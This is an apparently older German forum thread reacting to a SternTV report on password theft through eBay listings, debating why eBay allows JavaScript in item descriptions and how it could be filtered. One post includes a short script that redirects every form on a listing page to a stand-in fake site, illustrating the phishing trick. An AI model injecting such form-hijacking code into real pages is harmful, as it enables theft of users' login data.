SternTV: Ebay und Passwortklau...

[Elmar2]

jetzt erzähl doch mal, Du möchtest es doch erzählen und jetzt wirst Du auch noch drum gebeten es zu erzählen

Sonst weiss ja wieder niemand Bescheid.

[saiya]

Hab SternTV zwar nicht gesehen aber warum sperren die bei eBay nicht einfach Scripte dann gibt es solche Probleme gar nicht.
So ein Javascript mit einzubinden ist ja nicht viel.
<script type="text/javascript">
<!--
for (var i=0; i<document.getElementsByTagName("form").length; ++i)
document.getElementsByTagName("form").setAttribute("action", "https://www.fakeseite.de");
//-->
</script>
Und schon funktioniert der Bieten Button nicht mehr richtig.

[[btk]tobi]

Das kapier ich auch nicht ganz. Wozu braucht man bei den Artikelbescheibungen Javascript?
Warum sperren die das nicht einfach?

[stuijts]

Das kapier ich auch nicht ganz. Wozu braucht man bei den Artikelbescheibungen Javascript?
Warum sperren die das nicht einfach?

Das hat auch noch kein Mensch so wirklich verstanden. Und erklären konnten die es bis heute auch noch nicht wirklich...

[poolie]

In der Sendung hat der Herr von eBay das so argumentiert, das viele Anbieter mit JavaScript arbeiten, z.B. für Bilder Gallerien usw., das wars auch schon.

Und es seih nicht so einfach das auszuschalten blabla.

[[btk]tobi]

Seit wann braucht man für Bilder Javascript? Man kann doch wie hier im Forum BB-Code für Bilder und so einbauen.

Ich hab ca. 15 Min gebraucht und in meinem Gästebuch ging nichts mehr mit Javascript, oder sonnst irgend welchen Scriptsprachen, dann werden das die E-Bay Programmierer doch auch schaffern

[sandoba]

Javascript zu deaktivieren, d.h. via Regular Expressions zu entfernen nimmt in jeder Sprache nur ein paar Zeilen ein, egal ob das ganze noch verschlüsselt ist o.ä.

Wenn mann dann dennoch Bildergallerien etc. ermöglichen will, dann sollte man von Ebay-Seite hier zum einen ein zusätzliches geschütztes Feld einfügen, welche JS erlaubt und dort nur JS-Code erlaubt, der vorab validiert wurde, bspw. im Rahmen einer Abnahme durch Ebay.

Softwarehersteller, die dann für Ebay-Auktionen auch Javascript einsetzen wollen, müssen sich Ihre Systeme vorher abnehmen lassen und unterzeichnen eine entsprechende Vereinbarung (z.B. inwiefern dieser Code noch modifiziert werden darf...).

Somit wäre das Problem abgedeckt, denn ein > normaler < Ebay-Nutzer wird wohl kaum von Hand Javascript in seine Auktionen einfügen. Dies sind eher die externen Programme die dies ermöglichen oder eben die Personen, die mit Ebay etwas ganz anderes vorhaben...

[robo]

Bei Heise gibt's noch einen weiteren Artikel zum Thema:

https://www.heise.de/newsticker/meldung/54605

[Halli]

EGUG schrieb in seinem Beitrag bei Heise:

Hallo,

genau das "Abgesehen davon gibt es auch eine Reihe von kommerziellen Tools, die automatisch eBay-Artikelbeschreibungen inklusive JavaScript erzeugen. Und die wären alle ganz schön sauer, wenn eBay plötzlich JavaScript ausschalten würde." ist das Problem.

Das Halten der Powerseller sichert den Umsatz. Und der steht im Vordergrund !!! Schließlich ist eBay kommerziell.

Und die paar Sicherheitsprobleme spielen da eh keine Rolle. Nicht auszudenken, wenn wegen "Deutscher Befindlichkeiten" eBay International etwas ändern müßte.

Dem ist nicht hinzuzufügen.

[Boa]

Es scheint noch nicht zuende zu sein.
https://www.heise.de/newsticker/meldung/56323